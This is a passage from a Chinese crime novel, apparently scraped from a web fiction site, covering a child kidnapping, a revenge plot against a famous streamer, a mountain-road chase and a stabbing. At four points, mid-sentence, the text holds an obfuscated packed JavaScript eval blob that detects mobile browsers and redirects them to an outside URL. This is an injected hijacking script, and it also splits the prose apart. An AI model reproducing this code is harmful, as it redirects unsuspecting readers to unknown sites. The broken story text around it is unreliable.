罗三丫呆住,刚才被打成那样都没流出来的眼泪,此刻无意识地向外倾泻。 姜丽丽转身回到房里收拾了自己的书包,拖上还没来得及打开的行李箱就要出门。 “丽丽,你去哪儿?”罗三丫抬手擦一把眼泪,哽咽着追上去。 “菲菲家。” “我送你。” “你想让我朋友看到你这副样子?” 姜丽丽伸手捂住自己的脸,哭着道:“我不想对她说那么过分的话的,我只是不忍心看她那么努力那么辛苦,还要被姜洪彪这个人渣践踏殴打,我不想她为了我无底线地忍耐下去,她不该过这样的生活。” 杨琳出门找了包纸巾过来,递给姜丽丽。 “后来呢?” 姜丽丽用纸巾擦了擦眼泪,道:“在去我同学家的路上,我妈给我转了三千块钱,说她有事要出门一趟,几天后回来,叫我好好吃饭,买点水果零食给同学,不要给人添麻烦。” “她没说要去哪儿?” 姜丽丽摇头:“她开过十几年出租车,网约车兴起后出租车生意不好做,我家也没有车,她就改行去送外卖,但偶尔也做代驾,认识一些开服装店的个体户,有时候她们要去很远的地方进货,需要连夜开车,就会花个几百块钱请她开车。我以为这次也是这样,就没多问。” “那7月10号之后,她有跟你联系过吗?” 姜丽丽点头:“她给我发过几次微信,问我有没有好好吃饭,还在不在菲菲家,我心里生她的气,没给她回。昨天晚上,她忽然给我发来一条微信,叫我不要跟姜洪彪起冲突,她会好好考虑跟姜洪彪离婚的事,一切等她回来再说。我给她回了信息,问她在哪儿?什么时候回来?她说她还在外地,什么时候回来说不好,等确定了再告诉我。” “你也别太担心了,这样吧,我先派人送你回去,如果你妈联系你,或者你想起别的与李亭与案子相关的事情,立刻打给我好吗?这是我的手机号码。”杨琳道。 姜丽丽答应了。 杨琳送走了她,立刻拨给郭阳:“郭队,有新情况!” 郭阳听她说完罗三丫的情况,道:“我知道了,绑架案这边你暂时不用管了,审姜洪彪吧。” 天色渐渐暗下来,山道上又没了信号。 “为什么要发消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325561|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息给京山的警察报警?打当地110会不会更快一点?”罗三丫不解。 “京山市的警察了解这个绑架案,由他们内部去沟通协调,比我们一遍遍地跟当地警察叙述案情要快。”李亭道。 罗三丫明白了,顿了顿,她鼓起勇气问:“那个视频……” “是宁宁。” 罗三丫猛的踩下刹车,扭头惊诧地看着李亭,半晌才找回思绪,道:“所以宁宁并不是自己贪玩落水溺死,而是被那个天杀的小畜生给推下去的,那个小畜生是谁?” “你还记得朱国良吗?”李亭没有直接回答她的问题,而是提起了这么一个人。 “朱国良……视频中那个小畜生是朱国良?不对,年纪对不上。”罗三丫立马否定了自己的猜测。 “四个多月前,我在恒辉天地的金店里做柜姐,只能说冥冥中自有天意吧,我居然在那里遇到了朱国良。从我同事口中知道我老家是泰市的之后,他就以同乡的名义跟我套近乎,请我吃饭。我当然不想理他,直到他给我看了这段视频,说如果我赏脸跟他吃饭,他就告诉我视频是怎么回事。和你一样,我也认出了那条河,我不仅认出了那条河,还认出,那个小女孩,就是宁宁。”李亭示意罗三丫继续往前开,自己将这段故事缓缓道来。 附庸风雅的烛光晚餐之后,朱国良看着烛光下貌美又气质高雅的李亭,道:“李小姐,反正我们都是单身,不如你做我女朋友怎么样?” 李亭用餐巾掖了掖唇角,微微一笑,道:“我对男朋友要求很高的,有钱是第一条。” “我有钱。” “看你天天跑到我们店里来约我,也没个正经工作,不工作哪来的钱?你是富二代?看起来也不像。”李亭上下打量着他。 “我虽然不是富二代,但我有一棵摇钱树,所以不用工作,也有源源不断的钱。”朱国良故作神秘。 李亭忍俊不禁,看着朱国良道:“年纪也不小了,跟我在这儿讲故事呢?” “你不信?我跟你说……”朱国良起了个头,看了看左右,压低声音道:“你坐过来,我给你看这棵摇钱树。” 李亭坐着不动。 朱国良道:“怎么,大庭广众之下,还怕我吃了你?” “倒不是怕你吃了我,就怕你手不老实,我会忍不住扇你。”李亭道。 朱国良道:“这你就多虑了,对美女,我一向是很绅士的。” 李亭动作优雅地起身,过去在他身边坐下。 朱国良拿出手机,把上次给她看过的视频打开,凑过来悄声问道:“你知道视频里杀人的这个小男孩是谁吗?” 李亭惊讶地问:“这视频是真的?不是电影片段?” 朱国良道:“当然是真的,电影片段我拿来给你看干嘛,有病啊?” “如果是真的,那这个视频岂不就是一桩故意杀人案的证据?” “对啊,可是事发时这小畜生才十岁,不用负刑事责任,所以有这个视频也没什么用。” “这跟你的摇钱树有什么关系?” “因为这个小畜生长大了啊。”朱国良点开知名主播罗嵩的高清网照,递到李亭面前,嘿嘿笑道:“这个人你应该不会不认识吧?你说,他算不算摇钱树?” 25.第 25 章 “罗嵩?是罗嵩杀了宁宁?为什么?那……那果果……”罗三丫已经惊讶到丧失了语言组织能力。 “没错,我叫你帮我藏起果果,并不只是为了帮吴晓敏争抚养权,我的真实目的,是毁了罗嵩,为宁宁和王老师报仇。其实10号那天晚上你说要报警,是可以报警的,因为当时罗嵩已经杀了朱国良,只要我把这件事告诉警察,他就会被抓。可是我不甘心,不甘心宁宁和王老师的死就这么无声无息地淹没在时间长河里,我要告诉全天下的人,她们是被罗嵩这个恶心的畜生杀死的,我要全天下的人和我一样痛恨他咒骂他。你看到那条视频下面有多少人在骂杀人的小男孩了吧,他们不知道他们在骂谁,可是罗嵩知道,严秀姿知道,用不了多久,那些骂的人自己也会知道,他们用最恶毒最难听的语言咒骂了千万遍的那个杀人犯,就是他们心心念念要维护的大主播罗嵩!”想到这里,李亭忍不住笑了起来,带着点疯狂的意味。 “亭亭,你……”罗三丫虽然对这一切感到震惊,可李亭的状态更让她觉得异常。 “我知道你也对宁宁和王老师的死感到惋惜和痛苦,但这件事在我们心里留下的烙印是不一样的,你知道不一样在哪里吗?”李亭扭头看向罗三丫。 罗三丫无法回答。 李亭公布答案:“因为那天下午,王老师要去做家访,原本是要带着宁宁一起去的,是我主动跟王老师说,我可以在家陪宁宁玩,这样她就可以快去快回,不用带宁宁一起出去晒太阳。我向王老师保证一定会看好宁宁。可是后来我肚子痛要去上厕所,就让宁宁一个人呆在房里看电视,等我上完厕所出来,宁宁就不见了。后来发现宁宁淹死在那条河里,我愧疚得要发疯,跪在王老师跟前向她忏悔请求她原谅。王老师没有怪我,她把我扶起来,抱着我,安慰我说宁宁的死不是我的过错,是她没有尽到做母亲的责任,是她没有让宁宁牢牢记住河水危险,要远离河边。” “姗姗,你也一直觉得我们生来就是贱命一条,对吗?可是我们被人爱过,真正地爱过。”李亭泪光闪烁地看着罗三丫,“王老师,她和我们非亲非故,但她爱我们。她让我们知道,不小心打碎了碗是不用挨骂的,人比物重要。她让我们知道,女孩子也是可以吃鸡腿的,吃鸡腿不是男孩的专利。她让我们知道女孩子爱美爱打扮是天性,不是不要脸,骚货。她让我们知道,好好学习并不是为了让父母脸上有光,而是为了让我们有能力摆脱自身所处的困境。她爱我们,这种爱无关血缘,无关欲望,无关世俗的一切。那是一种极致纯粹的,一个成熟善良的女性,对另外两个懵懂茫然的女孩的爱。这种爱没有任何功利性的目的,她只是单纯地希望像我们这样不是在期待中出生的女孩子,能有力量和信念挣脱世俗捆绑在我们身上的一切不公平的枷锁,向上生长,长成大树,就算不能,也要在尘埃中开出花来。” 罗三丫潸然泪下。 “人需要被爱,就像你说的,每次你看到鸡腿,都会想起在王老师家吃鸡腿的经历,其实就是你在回忆自己被爱的瞬间。我也是。十五岁离开家,身在漂泊,心也在漂泊,一切积极向上的精神,都不过是靠王老师爱的余温在支撑。所以你知道我看到那个视频,知道宁宁的死亡真相时,我是什么感觉吗?王老师在宁宁去世十天后就自杀了,我知道她是接受不了失去宁宁的打击,但其中必然也有一部分原因是她觉得自己没有尽到做母亲的责任,就像她对我说的那样。看到视频,我知道她完全尽到了做母亲的责任,她让宁宁牢牢记住了不能靠近河边的话,是罗嵩那个畜生连哄带骗,把宁宁硬拽过去的。她唯一的错就是太相信我,相信我能代替她看好宁宁。我有这个责任和义务,为她和宁宁讨回公道!为此,我可以不惜一切代价。”李亭哽咽着道。 罗三丫一边哭一边抬手擦眼泪,道:“你为什么不早点告诉我?” “你和我不一样,你有丽丽,所以这件事你知道得越少,参与得越少越好。警察询问的时候,你如实供述就好,因为你本来就什么都不知道。我会承认一切,你不会有事的。”李亭冷静下来。 罗三丫不想让她一个人担责,可想到自己如果坐了牢,丽丽又没人照顾,一时左右为难,哭得不能自已。 “别哭了,好好开车,要上山了。”李亭劝道,“王老师和宁宁的墓现在在莲花镇西边的阳山公墓里,在王老师墓碑前的祭台下面,有一百五十万现金,是我留给你的,等事情了结后,你去一趟,把钱拿回来。其中五十万你可以马上用,那是我的存款,附带赠与合同,你签上字就可以合法使用了。另外的一百万是朱国良敲诈罗嵩的钱,这笔钱你不要拿去存银行,近几年也不要使用,过几年再用。这笔钱虽然是违法所得,但宁宁和王老师两条命,一百万已经便宜罗嵩这个杀人犯了,我想王老师也会同意把这笔赔偿金用在你和丽丽身上的,你不必有任何心理负担。” “亭亭你别说了,我害怕,你这样说,就像是……像是……” “像是在交代后事是吧?”李亭微微一笑,“有备无患嘛。你也别担心我没钱用,如无意外,用不了多久我就要吃上公家饭了。等吃完公家饭,我差不多也老了,还要钱干什么。” 这时越野车行驶到山脚下,向上的山路异常陡峭崎岖,道路两侧都是高大的树木,遮掩了原本就不太明亮的月光。罗三丫不敢大意,擦干眼泪开始专心开车。 手机还是没有信号。 一路惊险地开到山顶后,李亭远远看到山下路边停着一辆车,之所以能看到车,是因为那辆车亮着大灯。 “是那伙人的车吗?”罗三丫也看到了。 “可能是,大晚上开这种山路的车没几辆。”李亭道。 罗三丫紧张起来:“他们为什么停在那儿,会不会是在……” “不要胡思乱想,有可能是爆胎,也可能是下车方便,你见过在路边杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16330003|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人或者埋尸的吗?” 余伟忠的车确实因为后轮刮到石头爆了胎,大晚上开山路本就危险,他当然不敢把爆了胎的车继续往前开,只能骂骂咧咧下车换胎,喊张苏彤下车帮忙。 “不看着她们能行吗?”张苏彤看向后座上的徐引璋和果果。 “一个孩子,一个半死不活的女人,这大晚上荒郊野外的你还怕她们跑了?快点!” 两人下车后,斜靠在椅背上的徐引璋慢慢睁开眼。 果果一直担心地看着她,现在看她睁开眼,高兴得眼睛一亮,刚要说话,就看徐引璋竖起一根手指抵在唇上,做了个不要出声的姿势。 果果忙伸出小手捂住自己的嘴。 徐引璋小幅度坐直身子,扭头看向车后,观察余张两人的动向。 她脸色还是很苍白,嘴唇毫无血色。被切了一根手指确实很痛,痛得钻心,痛得让人想要昏厥,可这种情况下,她怎么能放心让自己昏过去?她目前是很虚弱,但没有他们以为的那样虚弱。 余伟忠成功取下了备胎,和张苏彤两人蹲在左后轮胎前捣鼓。 徐引璋悄悄解开自己和果果身上的保险带,从后备箱的行李袋中拿了几件自己的T恤,套在果果身上,让她坐到后座最右边的位置上。后座车门从里面打不开,她轻手轻脚地爬到副驾驶的位置,拿起张苏彤吸过的便携式氧气瓶,慢动作一般打开车门,偷偷下了车。 果果扒着车窗玻璃,看着她幽灵一般绕过车的右侧,绕过车尾,然后突然抡起氧气瓶,用力砸下去。 余伟忠正费力地拆卸轮胎,没想到一直处于半昏迷状态的徐引璋会来这么一招,毫无防备下被砸昏在地。 张苏彤吓得尖叫。 徐引璋忍着断指的痛,再次抡起氧气瓶要去砸她,张苏彤尖叫着跑了。 徐引璋气喘吁吁地丢下氧气瓶,过来打开右后车门,把果果从车里抱起来,转身就往相反方向跑。 这里海拔也有三千多米,徐引璋抱着果果只跑了十多米就跑不动了,只能改为走。 她一边尽量快步往前走一边回头观察余伟忠那边的情况,气喘如牛,心里很绝望,只能祈祷余伟忠能慢一点醒来。 她看到张苏彤回到了车边,摇晃倒在地上的余伟忠,回过头抱紧果果加快了步伐,这时她远远看到前面的山道上有亮光,似乎有车往这边驶来,心中顿时升起希望。 张苏彤掐余伟忠的人中把他给掐醒了,余伟忠一时间还不知道发生了什么事。 “徐引璋用氧气瓶砸昏了你,抱着小孩跑了。”张苏彤道。 余伟忠觉得额头上凉凉的黏黏的,伸手一摸,一手的血。 “妈的!”他咒骂着起身,加快动作换轮胎。 徐引璋远远回头看到这一幕,吓得又跑了起来,跑不动就半走半跑,等到那辆车开到面前时,她已经完全脱力了,腿一软,噗通一声跪在了道上。 26.第 26 章 李亭和罗三丫急忙下车。 徐引璋喘不上气,断断续续道:“救命……绑架……” 果果借着车头灯光看清了李亭的脸,高兴地叫道:“李阿姨!” 看她身上乱七八糟地套着大人的T恤,两条胳膊还露在外面,李亭忙脱下自己的冲锋衣给她穿上,抱起她向车走去,对罗三丫道:“快走!” 果果看她们把徐引璋丢在原地不管,忙道:“李阿姨,不要丢下徐阿姨,是徐阿姨带我逃出来的,坏人就在前面。” 李亭讶然,问果果:“他们不是一伙的?” “不是,徐阿姨为了保护我,还被坏人剪了一根手指。”果果道。 罗三丫闻言,忙回身搀起徐引璋。 这时前方两道灯光照了过来。 “不好,他们换好轮胎了,快走,快走……”徐引璋惨白着脸道。 李亭正要抱着孩子上车,罗三丫道:“不行,天太黑,在山道上追逐太容易出事故了,对方还剩几个人?” 徐引璋道:“一男一女两个人,男的被我砸伤了头。” “要不我们跟他们正面硬刚?”罗三丫提议。 李亭摇头:“带着孩子,不能冒险。” “那你们快躲起来,我开车引开他们。”罗三丫迅速脱下自己的冲锋衣递给李亭,道:“你穿,我在车里不冷。” 李亭思前想后也只有这个办法,叮嘱罗三丫:“那你注意安全,这山道狭窄,你开在中间他们就没法超车,警察应该已经在赶来的路上,你遛他们一段时间就行了。” 罗三丫点头,眼看那灯光越来越近,李亭徐引璋和果果躲到车后,罗三丫坐进驾驶室,一脚油门就飚了出去。 李亭三人趁黑躲到路旁的大石头后面。 余伟忠的车与罗三丫的车擦肩而过,余伟忠往前开了一段路,没见着徐引璋和果果。 张苏彤仰头看了看前方明显开始陡起来的山道,道:“她一个女人,抱着孩子跑不了那么远吧?” “刚才那辆车,她们肯定是上了刚才那辆车!”余伟忠原地掉头,开始追罗三丫驾驶的那辆越野车。 很快他就追上了罗三丫的车,罗三丫开在道路正中间,他超不了车就没法拦停她,在后面不停地摁喇叭。 罗三丫充耳不闻,继续慢悠悠地在道路正中间开着。 “确定她们上了这辆车?” “肯定在这辆车上,如果不是,我们这么摁喇叭,她要么靠边,要么提速,哪有继续在路中间拦着不让我们超车的?” “要不算了吧,这件事被外人知道了,我们……” “算了?那一百万你想办法搞啊?”余伟忠鲜血披面,神情狰狞,一脚油门冲上去,顶了下前面的车屁股。 越野车被他这一下顶得车身扭动,罗三丫忙把住方向盘,冷汗之余想起这是租的车,万一撞坏了还要赔,她就提了速。 她提速,余伟忠也提速,两辆车就这样在黑暗中的山道上追逐起来。 余伟忠的车掉头之后,三人从藏身的大石头后面出来。李亭借着月光看了徐引璋一眼,目光落在她裹着纱布的左手上。 她把手里的冲锋衣递给她:“你穿。” “谢谢,不用了……” “穿上,你本来就受了伤,万一再着凉发起烧来走不动,我就只能把你丢在半路了。”李亭道。 “阿姨,我们现在去找妈妈吗?”果果牵着李亭的手,稚声稚气地问。 “嗯,阿姨已经报了警,等警察找到我们,就会带你去找妈妈了。”李亭抱起她道。 “警察不会把我送回爸爸和奶奶身边吗?” “不会,警察只会把你送去你妈妈身边,这是阿姨答应你的事,阿姨不会食言的。” “谢谢阿姨!”果果开心地搂住李亭的脖子。 李亭从她身上的冲锋衣口袋里摸出手机看了看,道:“还是没信号,我们往前走走,到了有信号的地方,果果就给妈妈打电话好不好?” “好!” 徐引璋披着她给的冲锋衣,默默地跟在两人身后走着。她觉得很愧疚,想向李亭道歉,却又不知该如何启齿?这个歉没法道,因为她和仇洋原本以为果果是她和朱国良的孩子,他们想绑的,是她的孩子。 就这样,三人沉默着走了一段路,身后隐隐亮了起来,有汽车轮胎碾压路面石子的声音。 三人回头,看到后面来了一辆越野车,灯光晃着她们的眼睛,她们看不清越野车里坐着的人。 越野车主动停了下来,从正副驾驶室下来两个男人。 李亭立即将果果挡在身后,浑身戒备。 “引璋!”从副驾驶下来的那个男人激动地大叫一声,向徐引璋跑来。 徐引璋听出他的声音,一时又惊又喜不敢置信:“仇洋!” 夫妻俩劫后重逢,紧紧拥抱在一起。 和仇洋一起从车上下来的仇国富却没去看徐引璋,而是径直向李亭走去,看向她身后,问:“这个孩子,就是罗嵩的女儿果果吧?” 李亭用手挡着孩子,盯着仇国富道:“跟你没关系。” “怎么跟我没关系?她爸爸可是发布了二十万悬赏。”仇国富摸出手机想要打电话,发现手机没信号。 他收起手机,探身伸手想把孩子从李亭身后拽出来。 “别碰她!”李亭态度强硬地推开他。 “这孩子是我先看见的,谁也别想跟我抢这份悬赏,把孩子给我!”仇国富变了脸。 “一个小时前我已经报警了,警察现在应该已经在赶来的路上,我劝你不要乱来!”徐引璋和这两个男人是一伙的,李亭现在还不知道这桩绑架案的全貌,不敢掉以轻心。 “你报警关我屁事,我只要悬赏。把孩子给我,我给她父母打了电话就送她去最近的派出所。”仇国富道。 李亭看他这模样就不像个好人,当然不可能把果果给他带走。 仇国富从口袋里摸出一把折叠刀。 不远处徐引璋见了,忙过来劝道:“爸,你让她们走吧,罗嵩不肯给钱的。”她举起自己包着绷带的左手,道:“余伟忠问她家里要钱,甚至剪了我一根手指冒充孩子的手指,她家里都没肯给钱。不要一错再错了。” 仇国富闻言,突然一把抓过徐引璋钳制在自己胸前,用刀抵住她的脖颈,看着大惊失色的仇洋道:“好啊,既然悬赏泡汤了,那你给钱,四十五万,现在立刻给我!” “不要伤害徐阿姨,不要伤害徐阿姨!”果果叫嚷要跑过去打仇国富。 李亭眼疾手快一把拉住她,抱起她就跑。 “不要伤害徐阿姨……”果果伏在李亭肩头,看着徐引璋大声哭号。 “你疯了吗?快放开引璋!”呆愣过后,仇洋抢步上前。 “别动!我真的会下手。你不让康乐活,那她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339159|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别想活!”仇国富刀锋逼近徐引璋的脖颈,大喝道。 “我真的没钱,真的没钱!你怨我不帮你,那你杀我,别伤害她,我们父子之间的事,跟她没关系!”仇洋几乎是在哀求。 “怎么没关系?你自己也说了,娶她花了七十几万,彩礼应该就花了几十万吧?”仇国富低头看着徐引璋,道:“仇洋没钱,你问你父母要,把彩礼要回来给仇洋救他弟!” “我父母不会给钱的,虽然我是独生女,但他们不爱我,你看我的名字就知道,弄璋之喜,是生儿子的意思,引璋本质上和招娣没有区别。他们从来都只想要儿子,没有儿子,是因为我妈在我之后接连堕了几个女胎,不能生了。当初我查出乳腺癌他们都没肯拿钱出来帮我治病,我早就和他们断绝关系了。你放过我们吧,我和仇洋,真的没有钱。”徐引璋道。 “没钱就去贷,那么多贷款平台,总能贷够四十五万。”仇国富挟持着徐引璋,逼仇洋。 “就算我愿意贷,这里没信号,上不了网,我也贷不了啊。我答应你今晚我一定把这个钱贷给你,你先放了引璋,这里荒无人烟的我们也跑不了,你先放开她好不好?” “不行!我没有时间跟你耗下去了,下一个肝移植就轮到康乐了,我必须在□□出现之前把钱凑齐!” “那你到底想让我怎么办!”仇洋哭着大吼,彻底崩溃了。 “这里有信号。”一道冷静的女声远远传来。 三人循声望去,见李亭抱着孩子,就站在二十米开外,一只手摇晃着手机。 “真的?”仇国富问。 李亭放下果果,一边看着手机屏幕一边向这边走,走了大概五六米后,停下道:“信号又没了。”往后退了两米,等了几秒,道:“这里有信号。” 仇洋刚迈了一步,仇国富就大声道:“你别动!” 他继续用刀抵着徐引璋的脖子,挟持着她慢慢往李亭那边走去,仇洋亦步亦趋不远不近地跟在他后面。 到了近处,仇国富呵斥李亭:“把手机屏幕转过来给我看!” 李亭左手把手机屏幕转过来对着他。 仇国富眯眼,年纪大了眼神不如年轻时好使,移动数据信号标志又小,隔着几米他也看不清。 “近一点!”他道。 李亭慢慢走近,趁他注意力都在手机屏幕上,右手猛的一扬,将藏在手里的一块石头朝他扔了过去。 距离太近,仇国富猝不及防,被石头砸中额头,下意识地抬起执刀的那只手去捂伤处。 李亭和仇洋不约而同地朝两人扑过去。 一番混乱的撕扯扭打,仇洋成功地将徐引璋从仇国富的挟制中解救出来,回头见李亭被仇国富打倒在地,忙上前扭住仇国富执刀的那只手,用身体挡住他,对李亭大喊:“你快带孩子和引璋走!” 李亭爬起身抱起果果就喊徐引璋跑。 徐引璋看着在路上扭打成一团的父子俩,迟疑着不肯走。 “快走吧,你在这里又帮不了他。”李亭道。 仇洋也大喊着:“引璋,快走!” 徐引璋跟着李亭跑到越野车前,回头一看,见仇国富和仇洋一个跪着一个躺着,仇洋躺在地上双脚乱蹬。 “不行,我不能走,你带果果走吧!”她转身向仇洋那边跑去。 李亭也顾不上她了,迅速将果果抱上副驾驶系好安全带,自己驾车掉头向山上开去。 27.第 27 章 徐引璋跑到近处,才看到仇国富跪在地上用一根皮带勒着仇洋的脖子。 “你快放开他,他是你儿子!你真想杀了他吗?”徐引璋扑上去捶打仇国富。 “为什么?为什么不帮我?康乐活不了,你也别想活!”仇国富纹丝不动,双臂肌肉绷起,死死勒着皮带,嗓音沙哑地嘶吼着,感觉已经失去理智了。 仇洋喉间发出可怖的窒息声音,双脚蹬地的动作渐渐慢下来。 徐引璋心胆俱裂,六神无主地一扭头,发现那把刀就掉在不远处的道旁,反射着冰冷的月光。 她连滚带爬地跑过去,捡起那把刀,触手黏腻,刀上有血。她颤抖着回身看着仇国富高大健壮的背影,尖叫一声,冲过来一刀刺入仇国富的后背。 仇国富眼珠鼓起,双手脱力松开。 勒住脖子的皮带一松,仇洋剧烈地喘息咳嗽起来,捂着脖子在地上痛苦地蜷起身子。 “仇洋,仇洋你没事吧?”徐引璋哭着来到他身边,跪在地上抱住他。 等仇洋从窒息的痛苦中缓过来,徐引璋着急问道:“你伤在哪儿了?他捅到你哪儿了?” 仇洋摇头:“他没用刀捅我,我一开始就打掉了他的刀。” “没有吗?可是我刚刚捡起那把刀的时候,刀上明明有血。”徐引璋还是克制不住地颤抖着。 “捡刀?”仇洋扭头看向一旁的仇国富。 月光下,仇国富双眼大睁,侧着身子倒在路上,一动不动。 李亭驾着车带着果果往山上开,不时伸手捂一下腰侧,鲜血已经染红了她的T恤和裤子,流淌到身下的座椅上。 根据血流量判断,她知道自己伤得很重,内心不免有些着急——她必须在昏过去之前,把果果送到有人烟的地方。 她记得翻过这座山,再穿过一片不大的丛林,道路两旁有村落。这座山山路虽陡峭难行,但山体并不庞大,希望自己能坚持住。 身边的小女孩抱着大象玩偶,一直一言不发。 李亭问:“果果,这座山的山顶有很漂亮的花海,来的时候你看到了吗?” 果果摇头,道:“我一直在看着徐阿姨,她被剪了一根手指后,就一直像睡着了一样,我好害怕她死了。李阿姨,徐阿姨和那个叔叔会不会被坏人杀死啊?” “不会的,他们都是勇敢的人。” “李阿姨,你刚才停下来去救徐阿姨的时候,好像雅典娜,聪明又勇敢。”果果道。 李亭笑了笑,道:“阿姨比不上雅典娜,因为阿姨力气小,也不会打架,不够强大。” “我以后要去学打架,我要一个打十个!遇到坏人,就一脚把他踹飞!”果果握着大象玩偶的后腿,做个踢踹的动作。 “那肯定非常强大了。”李亭话刚说完,左前方传来一声异响,车身也不正常地颠簸了一下。 她刹住车,下车用手机电筒查看,发现是左前轮压到一块边缘尖锐的石头,爆胎了。 想起罗三丫开了几天都没爆胎,自己开了这一会儿就爆胎了,她忍不住感叹道:“到底是老司机。”也不知她现在怎样了,这样的开车技术,应当能让她化险为夷吧。 罗三丫还在山道上疾驰,余伟忠那辆越野车紧紧地咬着她。 前面又是个大弯,罗三丫自觉减速靠右,怕对向来车发生碰撞,余伟忠趁机一脚油门从她身边超过去,谁知转过弯不到二十米的距离道路就被一大堆泥石阻断——雨季山体滑坡了。 余伟忠速度太快,见状一边踩刹车一边急打方向盘,车辆直接失去控制,翻滚着冲下路沿向山下滚落。 距离太短,饶是罗三丫已经提前减速也来不及刹停,急打方向盘轮胎尖叫着向前侧滑,车头重重地撞上拦在道路中间的大石,气囊弹开,罗三丫的脑袋因为惯性嘣的一声撞在车窗玻璃上,昏了过去。 李亭弃了车,抱着果果继续往前走,好在爆胎时已经接近山顶,余下的都是下山的路。 果果一只手抱着她的雅典娜,一只手搂着李亭脖子,见她喘气声越来越大,脚步也越来越慢,开口道:“李阿姨,你是不是很累?放我下来,我可以自己走。” 李亭道:“阿姨不累,等阿姨真的累到抱不动果果时,再让果果自己下来走好不好?”她需要屏住这口气,不能松懈。 果果伸手摸向李亭的额头,道:“阿姨,你流了好多汗,果果给你擦汗。” “谢谢,果果真乖。”李亭亲了亲她的小脸蛋,问:“这一路上,果果是不是吓坏了?” 果果点点头,道:“那个坏人特别坏,他把徐阿姨的头摁在水池里,还要剪我的手指,还剪了徐阿姨的手指,我从没见过这么坏的人,连奶奶都没有他坏。好在有徐阿姨和雅典娜陪着我。” “对不起,果果,都是阿姨不好,你原本不用受这么多苦。”李亭愧疚道。 “阿姨没有不好啊,阿姨找到了我,现在还要带我去妈妈那里,阿姨是这个世界上最好的阿姨。”果果道。 孩子的纯真无邪让李亭内心愧疚更深,她眼中泛起泪花,道:“果果是世界上最善良最勇敢的孩子,阿姨不好,阿姨对不起果果,也对不起果果的妈妈。等果果见了妈妈,也代阿姨向妈妈说声对不起好不好?” 果果听出她声音不对,伸手摸到她脸颊上的湿意,着急道:“阿姨你别哭啊,虽然不知道你为什么要说对不起,但果果原谅你,妈妈也一定会原谅你的。” 李亭抱紧她。 她失血过多,明显感觉体力不支,便不再费力说话,脚步略带踉跄地继续沿着山道往山下走。这时,她隐隐听到警车的鸣笛声,忍不住抬头看向远处,透过浓密的树影,看到远处有一串红蓝色的光芒闪烁着向山脚下蔓延。 警察终于来了,太好了! “阿姨,后面有一双眼睛在发光。”果果忽然道。 李亭心中咯噔一声,第一反应就是徐引璋夫妇没打过那个拿刀的,他追上来了。但她很快想到,前半段上山的路她可是开车上来的,对方脚程再快,在这海拔三千多米的地方也不可能这么快追上她。 而且人的眼睛在夜色里也并不会发光。 她缓缓转过身,目光四处一扫,就看在右边道旁的树林中,有一双发光的眼睛,如果对方是四肢站立的姿势,那个肩高可不是狼或者狐狸这样的中小型动物。 那会是什么?藏马熊? 这个肩高,又出现在这里,也只能是熊了。 李亭的心脏狂跳起来,全身的汗毛都在这一瞬间站立起来。基因里自带的对猛兽的恐惧在每一根神经上疯狂战栗,失血过多加上突来的恐惧让她腿软得几乎站不住,往后踉跄了下。 “阿姨,你怎么了?”果果担心地问道。 “阿姨有点累了,果果下来自己走好不好?”李亭眼睛盯着那头熊,慢慢把孩子放到地上。 “阿姨,那个发光的眼睛是什么动物?是狼吗?”果果问。 “不是,是一只猫头鹰站在树枝上,狼没有这么高。果果,你自己先往前走好吗?阿姨在后面跟着你?” 果果回身看了下在树影的笼罩下晦暗不明的山路,抱紧怀中的大象玩偶,问:“果果牵着阿姨的手一起走不行吗?前面好黑,果果害怕。” “阿姨累了,想站在这里休息一下。果果不怕,果果有雅典娜,还记得象群是怎么迁徙的吗?强大的大象首领走在最前面,小象走在中间,还有一只大象走在最后面,保护大家的安全。果果就跟着雅典娜往前走,让阿姨为你们断后,好不好?”李亭侧着身子,一边提防那头熊一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我在这儿!果果不怕,大胆往前走,别回头!”李亭努力高声回应,可能是因为离那头熊近了,她突然大声说话,那头熊似乎吓了一跳,转身往远处跑去。 它这一跑,林间的月光勾勒出它的身形,李亭看清了,那不是一头熊,而是一头牛。 短暂的惊愣之后,她笑了。 “阿姨,你在哪里?我看不见你。”果果的声音带上了哭腔。 “阿姨来了,果果不怕,阿姨来了。”李亭回身,才发现前面已经不见了果果那小小的身影,应该是她转过了一道弯,回头看不到她,害怕了。 她重新捂住腰间伤口,努力去追她。 转过那道弯,果然看到果果就站在路中间看着这边。 